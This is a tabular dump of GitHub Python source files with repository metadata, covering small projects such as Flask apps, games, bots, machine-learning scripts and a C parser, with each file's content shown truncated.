blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5cde2b1e9bb942616c7e07c2025138877b9f3999 | f890e1e9a0203c4d17d046467f0e3ba5da63ab11 | /app.py | 9cc0816e5c9ecd06be620bcad205c85f69500cbb | [] | no_license | alexlouf/IPSSI-API-FLASK | db74f623108e5c7a369609e5670a7125a62e49c2 | 70b4e7233a16930fe5e62ec84bc5d03dc6b3db1f | refs/heads/main | 2023-01-01T00:00:47.043710 | 2020-10-23T10:20:36 | 2020-10-23T10:20:36 | 305,372,128 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,286 | py | import json
import urllib
from flask import Flask, request
from flask import render_template
app = Flask(__name__)
@app.route("/")
def info():
url = "https://api.nomics.com/v1/volume/history?key=demo-26240835858194712a4f8cc0dc635c7a"
result = urllib.request.urlopen(url)
data = json.load(result)
time... | [
"contact@alexandrelouf.fr"
] | contact@alexandrelouf.fr |
e616bcfb1bf7461887e03e4ec1d91903201621bc | 830acb926cc5cf5a12f2045c8497d6f4aa1c2ef2 | /Tic-Tac-Toe/Problems/Running average/task.py | 6b4d0d43c548fa9085564c710c504a5801f51195 | [] | no_license | BuyankinM/JetBrainsAcademyProjects | ca2223875ea4aab3ee7fceedc8e293bdb6e1fdcf | d5f9fcde4298af714960b2755f762141de796694 | refs/heads/main | 2023-02-26T05:47:26.070972 | 2021-02-03T22:10:53 | 2021-02-03T22:10:53 | 335,762,702 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 111 | py | numbers = [int(d) for d in input()]
print([(numbers[i] + numbers[i + 1]) / 2 for i in range(len(numbers) - 1)]) | [
"mbuyankin@gmail.com"
] | mbuyankin@gmail.com |
60bbf34672b90fdcc90a1fafedf288d3d913dd8d | 1b19ff0604d07272299f29fff4cf9b7a84633f60 | /experiments/tuning_nogpu/20units_2.py | 1f2a5d6117430b6b8c8da8fea835d87e9d8482d3 | [
"MIT"
] | permissive | samuilstoychev/research_project | 23cde9147f66b5455c86ed7b5838b264cd457d87 | 897bde82471ef92ded396aa31d91ec19826d4ce2 | refs/heads/main | 2023-05-31T01:56:23.577771 | 2021-06-03T11:15:02 | 2021-06-03T11:15:02 | 343,269,034 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,149 | py | RAM AT BEGINNING: 0.22320556640625
Latent replay turned on
CUDA is NOT(!!) used
RAM BEFORE LOADING DATA: 0.2279052734375
Preparing the data...
SPLIT RATIO: [50000, 10000]
--> mnist: 'train'-dataset consisting of 60000 samples
--> mnist: 'test'-dataset consisting of 10000 samples
RAM AFTER LOADING DATA: 0.28905487060... | [
"ss2719@cl.cam.ac.uk"
] | ss2719@cl.cam.ac.uk |
8a50cede02f24b38149931891726dd61209e7e8b | eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7 | /google/ads/googleads/v6/googleads-py/google/ads/googleads/v6/enums/types/user_list_size_range.py | 0d0e350bd2d3aad1366ab619a5163fc0ab0236ea | [
"Apache-2.0"
] | permissive | Tryweirder/googleapis-gen | 2e5daf46574c3af3d448f1177eaebe809100c346 | 45d8e9377379f9d1d4e166e80415a8c1737f284d | refs/heads/master | 2023-04-05T06:30:04.726589 | 2021-04-13T23:35:20 | 2021-04-13T23:35:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,816 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
9c802b12bacaad5288ed0d1093da3038b12fd657 | b2755ce7a643ae5c55c4b0c8689d09ad51819e6b | /anuvaad-etl/anuvaad-extractor/document-processor/ocr/diagram/src/services/inpaint.py | c2b1df5cef5d8dcf9849cccd0660a88ebc93b2c7 | [
"MIT"
] | permissive | project-anuvaad/anuvaad | 96df31170b27467d296cee43440b6dade7b1247c | 2bfcf6b9779bf1abd41e1bc42c27007127ddbefb | refs/heads/master | 2023-08-17T01:18:25.587918 | 2023-08-14T09:53:16 | 2023-08-14T09:53:16 | 265,545,286 | 41 | 39 | MIT | 2023-09-14T05:58:27 | 2020-05-20T11:34:37 | Jupyter Notebook | UTF-8 | Python | false | false | 1,496 | py | import numpy as np
import cv2
def get_words(response,page_index):
page_data = response['outputs'][0]['pages'][page_index]
words = []
for para in page_data['regions'][1:]:
for line in para['regions']:
for word in line['regions']:
words.append(word)
r... | [
"srihari.nagaraj@tarento.com"
] | srihari.nagaraj@tarento.com |
a908ac1ce5a8bccbbde05156d911b1af85c292e5 | f4eb8eda733e66c7342c93056bb1d6c8da12549c | /Preproc/PreProcDefs/mscoco.py | e8f52da086a9a4ae5618e407f6ddb8d4f0b64a27 | [
"BSD-3-Clause"
] | permissive | clp-research/image_wac | 016ec257edc9e10bce119d12afa45803b4f38dc9 | b3ce45ba951f0d78777bf984fd3748b09bb2ad24 | refs/heads/master | 2021-06-02T22:44:00.133885 | 2016-09-28T08:11:51 | 2016-09-28T08:11:51 | 60,342,270 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,027 | py | ## MSCOCO
now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M')
print '... (MSCOCO)'
print now
with open('PreProcOut/refcoco_splits.json', 'r') as f:
refcoco_splits = json.load(f)
with open('PreProcOut/google_refexp_rexsplits.json', 'r') as f:
grex_splits = json.load(f)
all_coco_files = list(set(chain(*... | [
"david.schlangen@uni-bielefeld.de"
] | david.schlangen@uni-bielefeld.de |
6f6c3633acc4941bbe891bccd8fe4dd6d7209c32 | 586c1a106e655a9e448238f6ee8cd061316c136b | /auth.py | 1d40671d2456911f5a5e03a53137a9da350e8ae0 | [] | no_license | tanvipenumudy/Secure-AWS-Storage | 049c9c115ca1b83d4c3c9b39bc7064df04a8b5fa | 173fb38a6450d42850c294f843f9af597f0945e1 | refs/heads/main | 2023-01-24T12:28:45.684299 | 2020-11-22T18:33:43 | 2020-11-22T18:33:43 | 315,098,808 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,786 | py | from werkzeug.security import generate_password_hash, check_password_hash
from flask import Blueprint, render_template, redirect, url_for, request, flash, send_file, Response
from flask_mail import Mail, Message
from app import db
from flask_login import login_user
from models import User
from flask_login import ... | [
"noreply@github.com"
] | tanvipenumudy.noreply@github.com |
b606b3dc678ce2db8c05942a074cf21356cde599 | 0700ad1f938076f48fe7cc0ea6883d30251ed69d | /booking/views.py | fa191b235f2727e29e1dede09888ea8cd92b9a94 | [] | no_license | gskansarag/theatre_project | 5d8b10c4dd5dd530ca561cb255172828004cb4c8 | 882c3fbb6dfe96284212c2a71165d94c89f24e21 | refs/heads/master | 2020-07-26T06:53:47.061484 | 2019-09-15T09:34:48 | 2019-09-15T09:34:48 | 208,569,632 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,896 | py | from django.shortcuts import render, get_object_or_404
from myapp.models import Booking, BookedSeat, Seat
from myapp.models import Show
from myapp.forms import SeatForm, BookingForm
from django.urls import reverse_lazy
#from django.views.generic import CreateView
import datetime
from django.views.generic import ... | [
"noreply@github.com"
] | gskansarag.noreply@github.com |
25184effa654599149299801de6745b7d7b11ca8 | cb56bba2bcb8fae10f738dbafacfe5d2e410e36f | /demo.py | 646de524e25703cc0d838a4ada07eb4c0357ca1a | [] | no_license | PeterEckmann1/generative-docking | 7c94a40049c8d761fea56e41bcd75e26ec1c3ef5 | 902bf3e0006087d827541c52546dd5d1e9d34f1b | refs/heads/master | 2023-07-18T04:19:16.269105 | 2021-09-07T22:29:26 | 2021-09-07T22:29:26 | 403,715,616 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,411 | py | import pandas as pd
import selfies as sf
import numpy as np
import torch
from torch.utils.data import TensorDataset, DataLoader
from torch.utils.data.dataset import random_split
from torch import nn
from torch import optim
import matplotlib.pyplot as plt
import torch.nn.functional as F
import os
import json
from rdkit.... | [
"53533143+PeterEckmann1@users.noreply.github.com"
] | 53533143+PeterEckmann1@users.noreply.github.com |
5a0689b56e34243ab30eb32f05df0bc1514a5bad | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03067/s147995985.py | b0a0627bbb6722c53ac100738e690e3079cdcbd7 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 112 | py | A, B, C = map(int, input().split())
if min(A, B) <= C and C <= max(A, B):
print("Yes")
else:
print("No") | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
c29730d6ee55732f95e7e027a60327bbf3383550 | 41893a5ea841ed882a20d94b7376790e1ce3cfac | /score.py | 6db8386ff60bea633e05969b93ac645e00a7a120 | [] | no_license | Hershey435/Feed-The-Snake | 1edd612cf3b548489b5fcc75da31e7a5c9b7d987 | 30447c178358f0864dcc6ed73609b13d19793b40 | refs/heads/main | 2023-07-19T01:23:23.334398 | 2021-09-02T04:59:07 | 2021-09-02T04:59:07 | 397,253,802 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | from turtle import Turtle
class Score(Turtle):
def __init__(self):
super().__init__()
self.score = 0
with open("data.txt") as f:
self.high = int(f.read())
self.color("white")
self.penup()
self.goto(0, 280)
self.update_score()
... | [
"noreply@github.com"
] | Hershey435.noreply@github.com |
532d89547b5dd02006bf30fab9400d191eb7d6f2 | bdcf17ed0f5c4e721416787b918048686cbea9d1 | /Day2/02_Module/simplesetTest.py | 258a56fe3c9025fa78046c9ee547c03c20122399 | [] | no_license | makemeha2/PythonEdu | 14ed10447159ae8ed411803fab441c81127b90ad | e67715e526188f2b5b7ab48d42ecec08020e426f | refs/heads/master | 2020-04-12T17:45:44.411905 | 2018-12-21T04:55:20 | 2018-12-21T04:55:20 | 162,656,235 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | import sys
import simpleset
#sys.path.append()
print(sys.path)
setA = [1,3,7,10,13]
setB = [2,3,4,9,13]
#print(simpleset.intersect(setA, setB))
#print(simpleset.union(setA, setB))
#print(simpleset.difference(setA, setB))
print(simpleset.__intersectSC(setA, setB))
#print(dir(simpleset)) | [
"makemeha2@gmail.com"
] | makemeha2@gmail.com |
c1cc8dfadc0e15df62d780c5aba4b5aec12b5aab | 526548bbfc5629adee9c4c3865625421580f29fc | /tests/test_basic.py | 636d3d76484a9a6aaae651d92764a18138a3d122 | [
"MIT"
] | permissive | mlibrary/combine | ad8f7ed8b12d95daa770b1d20b6ba92b2531fca1 | 05a67ad30fb31d3fc13fda9c18337d5919409c14 | refs/heads/master | 2023-03-16T05:35:27.994270 | 2019-04-19T17:10:36 | 2019-04-19T17:10:36 | 182,845,536 | 1 | 0 | null | 2019-04-22T18:33:43 | 2019-04-22T18:33:43 | null | UTF-8 | Python | false | false | 11,704 | py |
import django
from lxml import etree
import os
import pytest
import shutil
import sys
import time
import uuid
# logging
import logging
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
# setup django environment
# init django settings file to retrieve settings
os.environ['DJANGO_SETTINGS_MODULE'] =... | [
"ghukill@gmail.com"
] | ghukill@gmail.com |
5fdfc59a41b4f23fa1d960d5d5f5f25ecc7d8e11 | 7f1b75007f5a6c633ac2b74cfb3809efc0fa6f78 | /pycparser/pycparser/c_parser.py | 1fc51cb87fa838b2037c1d2a3ecd68673a724e8a | [
"BSD-3-Clause"
] | permissive | gongmingli/C_VIZ | 1316cd04cecb364ee566f597e010f3f63f3334b1 | c35bbeb46b8dec2e5ddd52dd7775830d8a83a3ac | refs/heads/main | 2023-03-20T02:33:38.622019 | 2021-03-14T10:28:24 | 2021-03-14T10:28:24 | 347,604,615 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 70,027 | py | #------------------------------------------------------------------------------
# pycparser: c_parser.py
#
# CParser class: Parser and AST builder for the C language
#
# Eli Bendersky [https://eli.thegreenplace.net/]
# License: BSD
#------------------------------------------------------------------------------
import r... | [
"ligongming168@163.com"
] | ligongming168@163.com |
e6d2b5fe6f232ae369c8e0bf48ffeefacedd70f2 | b7b3ca7e4793aaa4972b6fcb76cbf0d39344b88b | /__init__.py | 327c37073bdebe7f3e90160a77b3104c62154fce | [] | no_license | parenthetical-e/similarity | b45b68c7bb2805535526e628c865af0f081f4d22 | 83a679b61aa12aa770897f8f840584724c964da7 | refs/heads/master | 2016-09-11T04:02:45.395812 | 2012-06-21T18:33:28 | 2012-06-21T18:33:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 32 | py | import category
import distance
| [
"Erik.Exists@gmail.com"
] | Erik.Exists@gmail.com |
e2692712f8fd275f7110d82131ecccfd6a3d0580 | aba4d16d8ec734eb8838e150d425f6c9d8e146bc | /game.py | b460e31979089a2782bd696568c2b33dc9422aee | [] | no_license | 666stephunter/game | b0682f02ab72e757389b00a31cd0cf0799cf220f | 89f7c962bf6d312786f0920662d6d58327d3a968 | refs/heads/master | 2020-05-24T15:31:57.512296 | 2019-05-18T08:33:51 | 2019-05-18T08:33:51 | 187,333,667 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,007 | py | from livewires import games, color
import random
games.init(screen_width=840, screen_height=480, fps=50)
class Hero(games.Sprite):
image = games.load_image('img/ship.png')
MISSILE_DELAY = 40
def __init__(self, x = 30, y=240):
super(Hero, self).__init__(image=Hero.image,
... | [
"noreply@github.com"
] | 666stephunter.noreply@github.com |
68e0d384def2d5d2eabef9e1b1dde67527ab8fbf | 859324ecd7373b398461f005684a32985cb8dcb1 | /2020/22-python/combat.py | 3e149a10d58d601d1aa92db7709c879227a8f4a1 | [] | no_license | gucce/advent-of-code | 14c687375b5b38ca1f625e45535eec13a1334815 | 491ea7d2f51d39d6c440d7df7c0d13cc390eb764 | refs/heads/master | 2021-06-09T22:45:56.857066 | 2020-12-22T15:47:38 | 2020-12-22T15:47:38 | 158,203,043 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,482 | py | from typing import List
def read_file(file_path):
with open(file_path, 'r', encoding="UTF-8") as f:
return f.read().strip()
class Combat:
def __init__(self, input_data: str):
p1, p2 = input_data.strip().split('\n\n')
self.player_one = self.parse_player(p1)
self.player_two = ... | [
"Christian.Guggenmos@bmw.de"
] | Christian.Guggenmos@bmw.de |
a13d8c61c6413969c2c13d8696d02ad6603481c6 | d54869631b5ce16bc5f54b944ccda20ba22eface | /drawplayer.py | 7dd506e0de2fad5b21dbf079bc56da9b13173dd8 | [] | no_license | manasreldin/monte-carlo-tree-search | 0b7d1c462d58bf5834aed33df8f131ff05693ba9 | 95edca506ae99895fcfbbd6d47448ff4bd4b4055 | refs/heads/master | 2022-07-03T07:22:28.446953 | 2020-05-10T18:41:20 | 2020-05-10T18:41:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 234 | py | class DrawPlayer:
def __init__(self, name: str):
self.name = name
def __repr__(self):
return f'Player {self.name}'
def __hash__(self):
return hash(self.name)
OnlyDrawPlayer = DrawPlayer('Draw')
| [
"shehabyasser@gmail.com"
] | shehabyasser@gmail.com |
b31b6630d2fe8dafff1586f89d1536aafde60a02 | 5ec5a9666864ce4b548dbb43a2fcf86a11f6dc90 | /22/Utils.py | a88399cac107ca55d72f432f5ae4e874b3afc89b | [
"MIT"
] | permissive | bobismijnnaam/bobe-euler | 24f32341d01b3bc11bb8de778d8ad5369b1bb81e | 111abdf37256d19c4a8c4e1a071db52929acf9d9 | refs/heads/master | 2021-01-10T19:59:35.559134 | 2017-11-15T09:25:52 | 2017-11-15T09:25:52 | 24,141,082 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,538 | py | import collections
class BigInt:
def __init__(self):
self.number = [0]
def skim(self):
carrier = 0
for i in range(0, len(self.number)):
self.number[i] += carrier
head = self.number[i] % 10
carrier = (self.number[i] - head) / 10
self.number[i] = int(head)
while carrier != 0:
... | [
"bobrubbens@gmail.com"
] | bobrubbens@gmail.com |
42e42adb39702f2462200f2fd219c3c4258675db | c5d2e624675fea0ce3bf5f8c84e47bb0cae0c412 | /hw_3/bot.py | 609054fc70233019770b085ff26ce1a182898d40 | [] | no_license | tanyashar/hse-2.2 | 4afa79197baa28aa4496570ac2d62ad150dd56b6 | 66c318cd350c56099101a316a24d144efd62dc8f | refs/heads/master | 2021-06-19T06:05:10.014209 | 2017-06-20T23:50:47 | 2017-06-20T23:50:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,612 | py | # -*- coding: utf-8 -*-
import flask
import telebot
import conf
import json
import random
import re
import pymorphy2
from pymorphy2 import MorphAnalyzer
morph = MorphAnalyzer()
def find_words(text):
regexp = re.compile('[a-zA-Z0-9-]+', flags = re.U | re.DOTALL)
lst = regexp.findall(text)
return lst
def fi... | [
"noreply@github.com"
] | tanyashar.noreply@github.com |
306fd59ef703a1513986c2b953cf95121906f645 | 7149126b143a87f15b125f02c6293a1588c14d9c | /0_otree_app/bret/tests.py | 972b242c0a62dc0602905772d3bac833b012e80b | [
"MIT"
] | permissive | victorvanpelt/control_asymmetry | f23370df1c02b56320943ee1b6bc52212b1198ff | 819a9523ab30a7eb1f91ff0dad11e607569b3a9e | refs/heads/master | 2023-04-17T09:50:03.690226 | 2021-05-04T09:32:07 | 2021-05-04T09:32:07 | 237,804,011 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,096 | py | # -*- coding: utf-8 -*-
from __future__ import division
import random
from otree.common import Currency as c, currency_range
from . import pages
from ._builtin import Bot
from .models import Constants
class PlayerBot(Bot):
cases = ['always_bomb', 'never_bomb']
def play_round(self):
if Constants.i... | [
"v.f.j.vanpelt@tilburguniversity.edu"
] | v.f.j.vanpelt@tilburguniversity.edu |
81782888a237836b72cab0f463e135921685cf2d | 067e7023fc67b0aeb8ab3ab498be0dcf3b7ee93e | /cases/cases_info/he_deployment.py | 6f5c49a48b7acb4351eb66174e4795dbebe1081b | [] | no_license | kimettog/cockpit-auto | a054d943ee1e9f026f0efe90723a013f4a47ba3b | 1028cc39fc3dec135be1eef20d2ea8c92ea2132b | refs/heads/master | 2021-09-07T18:40:51.927489 | 2018-02-27T12:11:54 | 2018-02-27T12:11:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,342 | py | # test_hosted_engine_deployment
from collections import OrderedDict
cases_t = (
('RHEVM-23815', 'check_he_otopi_install'),
('RHEVM-24594', 'check_he_hint'),
('RHEVM-23817', 'check_engine_status'),
('RHEVM-23819', 'check_vm_status'),
('RHEVM-23832', 'check_no_large_messages'),
('RHEVM-23833', 'c... | [
"yzhao@redhat.com"
] | yzhao@redhat.com |
a0ea550899adfc525da0d29fa0b2b9edb068c27d | 32e28c066dba6311015ae9ad318ec707f96dc5d9 | /Datesplit.py | 67096c74027e924747819a0d2d73f2a3356f83de | [] | no_license | Tanvippatel/pythondatascrape | c51ffe11e7b592f6058d3a1fb70509e85f960c80 | ec10ecafb2929a2e8c9b6a95a107ba8837a4bd6d | refs/heads/main | 2023-05-15T02:18:05.793862 | 2021-06-14T05:29:19 | 2021-06-14T05:29:19 | 375,595,031 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 110 | py |
import re
str = 'Date: 2004 - 2010'
chunks = re.split('[:-]',str)
for chunk in chunks:
print(chunk)
| [
"noreply@github.com"
] | Tanvippatel.noreply@github.com |
5850af25d4b360896d8e3d1ca94803dd606025ac | af6e713b0830d99f826b50da67a61c3771ce4fd2 | /Image_viewer_app.py | 34734a6ad7ba12a03b1d34f790da6d9cec3369ec | [] | no_license | JakeMcKean-code/Image-Viewer | 0b3edb1ec8a81321468f8061b56337eb87cd6da3 | 037fff5f09d799c232a15dfe7feae7cb3bdc6ea9 | refs/heads/main | 2023-08-23T16:36:36.019160 | 2021-09-26T19:52:08 | 2021-09-26T19:52:08 | 410,647,812 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,774 | py | """
Created on Sunday Sep 26 17:32:16 2021
@author: Jake McKean
"""
# --------------------------------------------------------------
# Use the os package to list all the files in my images directory and then
# append them all to a list
from os.path import join
import os
import glob
from PIL import ImageTk, ImageFile
... | [
"noreply@github.com"
] | JakeMcKean-code.noreply@github.com |
d87523e61d9d27689d257f0466bccb56af247722 | 9857ba3ab06755d6c559f5a27662945f260b9ece | /nfsm.py | 35a4dfafbcaa5b37321ecd08a2f6c67c8c376034 | [] | no_license | brownan/regescrossword | dd91c80be40a8f151ad6855b7535a8945aec0c38 | 53003074df87d293fed84a73081853004d071f3d | refs/heads/master | 2020-08-27T04:30:56.072995 | 2013-03-12T23:49:07 | 2013-03-12T23:49:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,599 | py | #!/bin/env python3
from copy import deepcopy
from itertools import product
from functools import reduce
from operator import add
import io
"""
nfsm.py - Nondeterministic finite state machine.
"""
class NFSM:
"""This class implements a non-deterministic finite state machine that
matches a string of fixed, fin... | [
"brownan@gmail.com"
] | brownan@gmail.com |
cf233d2e018d0b784cf396399eca19c8690bcd3b | b22e56f486f3045aa2d1bca052fca555b240e3a6 | /recursive/my_flatten.py | 2d5d664c199c840fdde6140cd63a5d60c4928347 | [] | no_license | jdeastwood/python-flatten | d7576e47642ab0756a8e43058925ff173071683b | a22e4ba1e9417162dcc6c01054fe196c9e4b9c85 | refs/heads/master | 2016-09-03T01:11:47.830724 | 2013-07-07T17:35:09 | 2013-07-07T17:35:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 253 | py | def my_flatten(list_of_lists, accumulator=[]):
for elem in list_of_lists:
t = type(elem)
if t is list or t is tuple:
my_flatten(elem, accumulator)
else:
accumulator.append(elem)
return accumulator
| [
"james@james-ThinkPad-T510.(none)"
] | james@james-ThinkPad-T510.(none) |
37eb09cc8939677e76d618fe0df7a6fed5a6fd42 | 1758d8b34f681f63e588e9896e2ca244bf605e57 | /src/models/model_imageNet.py | 8b359e8b74ca1107cbd75b7bb29e2545fb2676db | [
"Apache-2.0"
] | permissive | snudatalab/FALCON | 7098225eb4627c45744322f22b28b38c060810ae | d71fe1563d9baf2fc9e5f4b5dee4bedb8d55b643 | refs/heads/master | 2023-05-25T16:25:35.211886 | 2023-05-21T06:21:03 | 2023-05-21T06:21:03 | 205,502,133 | 5 | 3 | null | null | null | null | UTF-8 | Python | false | false | 12,822 | py | """
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this ... | [
"hyundonglee@Hyuns-MacBook-Pro.local"
] | hyundonglee@Hyuns-MacBook-Pro.local |
0bfe22a225fc631fd9b82eb32331f6e0fd8df359 | 395ec9e51411736f27682c5c6dcb272167c75bf4 | /leetcode/daily challenges/2020-11/17-mirror-reflection.py | 658d86c3baa328226429d53af97bed677216c828 | [] | no_license | Nayald/algorithm-portfolio | 84242483273595912560128169fd67d1ef4a8871 | f6f7b548b29abe53b88a7396296d7edc932450cc | refs/heads/master | 2023-05-01T20:24:04.349022 | 2021-05-15T16:16:54 | 2021-05-15T16:16:54 | 298,006,042 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 312 | py | class Solution:
def mirrorReflection(self, p: int, q: int) -> int:
h, r = q, 1
while h % p != 0:
h += q
r ^= 1
if r == 0:
return 2
elif (h // p) % 2 == 1:
return 1
else:
return 0
| [
"xavier.marchal.2@gmail.com"
] | xavier.marchal.2@gmail.com |
9f111dee20b77dd96f8990ce0d94617eada8184b | 471c6751dd08fefa0d647785ac2227b9c907f0ee | /company/views.py | 5b4262f8e4e988774cf746f490d378e4018ef38e | [] | no_license | kamlesh-kp/taskmanagement | e10634913682d3652cf63d4254a1cc072594ea75 | 12f8046cff73af33f4f3f1827eeeafa19b9a13f4 | refs/heads/master | 2022-05-01T15:09:16.854427 | 2019-09-23T16:17:10 | 2019-09-23T16:17:10 | 204,920,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,303 | py | from .models import Employee
from .serializers import EmployeeSerializer
from rest_framework import generics
from rest_framework import mixins
from rest_framework.permissions import IsAuthenticated
class EmployeeList(mixins.ListModelMixin,
mixins.CreateModelMixin,
mixins.Retriev... | [
"parmarkamleshk@gmail.copm"
] | parmarkamleshk@gmail.copm |
55e79bd191ffe9687b9c3a799bef14b5e3c01b61 | 999f3f3da1cb70cb5872f99a09d65d7c4df71cf7 | /src/data/290.py | fb2d7139623c1498c3f0b53f9cf6d659f8606b2a | [
"MIT"
] | permissive | NULLCT/LOMC | 0f0d1f01cce1d5633e239d411565ac7f0c687955 | 79a16474a8f21310e0fb47e536d527dd5dc6d655 | refs/heads/main | 2023-07-27T17:03:46.703022 | 2021-09-04T08:58:45 | 2021-09-04T08:58:45 | 396,290,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 560 | py | import queue
N, Q = map(int, input().split())
roads = [[] for _ in range(N)]
for i in range(N - 1):
a, b = map(int, input().split())
roads[a - 1].append(b - 1)
roads[b - 1].append(a - 1)
color = [-1] * N
color[0] = 0
que = queue.Queue()
que.put(0)
while not que.empty():
cur = que.get()
for next... | [
"cockatiel.u10@gmail.com"
] | cockatiel.u10@gmail.com |
3f5bc7b1ef00bee3974844969adabaab86ab5955 | c913c952cf4019d67f02bf1971917116da375c81 | /Data/OMIMresults/omimResults5140to5160.py | 5eaf8c690174d02ca388d68de1b0424629b3b304 | [] | no_license | jiangchb/OMIMscraping | 57afa5b2f8b7ca975e7459814e0410a872f71990 | 27d4ac8faea526b1c70937317caec064bed00a0a | refs/heads/master | 2022-03-14T21:35:56.102665 | 2019-11-22T15:48:48 | 2019-11-22T15:48:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 113,044 | py | omim = {'omim': {
'version': '1.0',
'searchResponse': {
'search': '*',
'expandedSearch': '*:*',
'parsedSearch': '+*:* ()',
'searchSuggestion': None,
'searchSpelling': None,
'filter': '',
'expandedFilter': None,
'fields': '',
'searchReport': None,
'totalResults': 7368,
'startIndex': 5140,
'endIndex': 5159, ... | [
"jhostyk@gmail.com"
] | jhostyk@gmail.com |
9b3b0b566cc27e0ffd4aa7a2d05b1dbf2f37476f | b778cae4c54893a7855987fc9b612f10047c0dad | /001_dependents/uluc_db_controller.py | f10a83abf18010e4840a3616c80146e1a8fe409b | [] | no_license | firataras07/ottoo.dp.b2b | a4577c8ef53cb7a45ac86f4875052c59b7b44417 | 70092545c873887f237a86f52677caf063180708 | refs/heads/main | 2023-07-13T12:41:09.847622 | 2021-08-23T06:11:19 | 2021-08-23T06:11:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,729 | py | # -*- coding: UTF-8 -*-
#
# @author: Uluc Furkan Vardar
# @updatedDate: 17.01.2021
# @version: 1.0.0
# Universal Db Controllar class
import os
import datetime
import json
class msSQL_db_controller:
def __init__(self, db_connection):
import pymssql
self.credentials = db_connection
self.cnxn ... | [
"ulucfurkanvardar@gmail.com"
] | ulucfurkanvardar@gmail.com |
7a075b8464b6cfad9e9f486f45d0b797c86ce09e | 6ebd682476e127ec955a08448d2488e00cbacaa2 | /ipma/items.py | 8c8be52a70f9fd665af39fcd999bbcd6d6623352 | [] | no_license | mbs-systems/scrapy | c2ddcf803b1b91bec193e6e1e43f3a6bf3f4aa93 | 2e4c96a05cc2e2558e9ed023e3c989160a6ec625 | refs/heads/master | 2020-04-05T17:55:49.009133 | 2018-11-11T17:11:18 | 2018-11-11T17:11:18 | 157,081,138 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 268 | py | # -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
from scrapy.item import Item, Field
class IpmaItem(Item):
page = Field()
text = Field()
link = Field()
| [
"maik.brauer@mbs-systems.net"
] | maik.brauer@mbs-systems.net |
4d8b7e849c99337bdf40184ff6f713792cf5e684 | b15d2787a1eeb56dfa700480364337216d2b1eb9 | /accelbyte_py_sdk/api/ugc/operations/admin_content/admin_hide_user_content.py | 0f01ddb7d2935b0f0a7006933cbe704ffd016507 | [
"MIT"
